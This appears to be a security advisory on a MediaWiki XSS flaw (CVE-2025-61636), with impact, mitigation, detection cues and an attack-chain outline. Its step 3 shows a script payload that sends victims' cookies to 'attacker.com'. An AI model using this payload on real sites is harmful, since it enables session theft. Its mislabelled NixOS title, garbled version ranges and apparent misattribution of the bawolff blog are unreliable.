CVE-2025-61636: 
NixOS vulnerability analysis and mitigation

CVE-2025-61636 is a Cross-Site Scripting (XSS) vulnerability in Wikimedia Foundation MediaWiki, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The flaw resides in the file includes/htmlform/fields/HTMLButtonField.php and affects MediaWiki versions before 1.39.14, before 1.43.4 (from 1.39.15), and before 1.44.1 (from 1.43.5). It was published on February 3, 2026, and carries a CVSS v3.1 base score of 4.8 (Medium) (Red Hat Advisory, Red Hat Bugzilla).

The vulnerability stems from insufficient input sanitization in includes/htmlform/fields/HTMLButtonField.php, where user-supplied input is not properly neutralized before being rendered in HTML output (CWE-79). This allows a privileged attacker to inject malicious scripts into web pages viewed by other users. Exploitation requires high privileges and user interaction, and the scope is changed (cross-origin impact), consistent with a stored or reflected XSS pattern. A technical write-up published by Infinit Security describes the issue as a "message key XSS" in the Codex/SpecialBlock context (Infinit Security).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, leading to limited confidentiality and integrity impacts (both rated Low in CVSS). Potential consequences include session hijacking, credential theft, defacement of wiki pages as seen by targeted users, or redirection to malicious sites. Availability is not impacted, and the vulnerability's scope change indicates the injected script can affect resources beyond the vulnerable component (Red Hat Advisory).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-61636. The EPSS score is approximately 0.016% (0.000160), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high privileges (e.g., administrator-level access) and user interaction, significantly limiting the attack surface (Red Hat Advisory).

1. Reconnaissance: Identify a MediaWiki instance running a vulnerable version (before 1.39.14, 1.43.4, or 1.44.1) with access to administrative or privileged functionality.
2. Authenticate as privileged user: Obtain or compromise a high-privilege MediaWiki account (e.g., administrator or bureaucrat) that can interact with HTMLButtonField-rendered forms.
3. Inject malicious payload: Craft a message key or form input containing an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) targeting the vulnerable HTMLButtonField.php rendering path.
4. Trigger victim interaction: Lure a target user (e.g., another administrator or regular user) to visit the page or form where the injected content is rendered.
5. Achieve objective: The victim's browser executes the injected script, enabling session token theft, credential harvesting, or further actions within the MediaWiki instance (Infinit Security).

• Logs: MediaWiki access logs showing unusual POST or GET requests to Special:Block or other pages using HTMLButtonField with unexpected or encoded script content in parameters.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting MediaWiki administrative pages; potential exfiltration of cookie or session data.
• File System: Unexpected modifications to MediaWiki message keys or localization files that could be used to persist XSS payloads.
• Process/Application: JavaScript errors or unexpected redirects reported by users accessing MediaWiki administrative forms, particularly those involving button fields.

Wikimedia Foundation has released patched versions addressing this vulnerability: MediaWiki 1.39.14, 1.43.4, and 1.44.1. Administrators should upgrade to one of these versions as the primary remediation. A Debian security advisory (DSA-6085-1) has also been issued for affected Debian packages. No specific configuration-based workaround has been publicly documented; upgrading is the recommended action (Debian Advisory, Red Hat Bugzilla).

A blog post by MediaWiki developer Brad Jorsch (bawolff) titled "How did XSSProtector do?" was published around the time of disclosure, discussing XSS protection mechanisms in MediaWiki, though it is not exclusively focused on this CVE (bawolff blog). Infinit Security published a dedicated technical write-up identifying the vulnerability as a "message key XSS" in the Codex/SpecialBlock component (Infinit Security). No significant broader media coverage or notable social media reactions have been identified.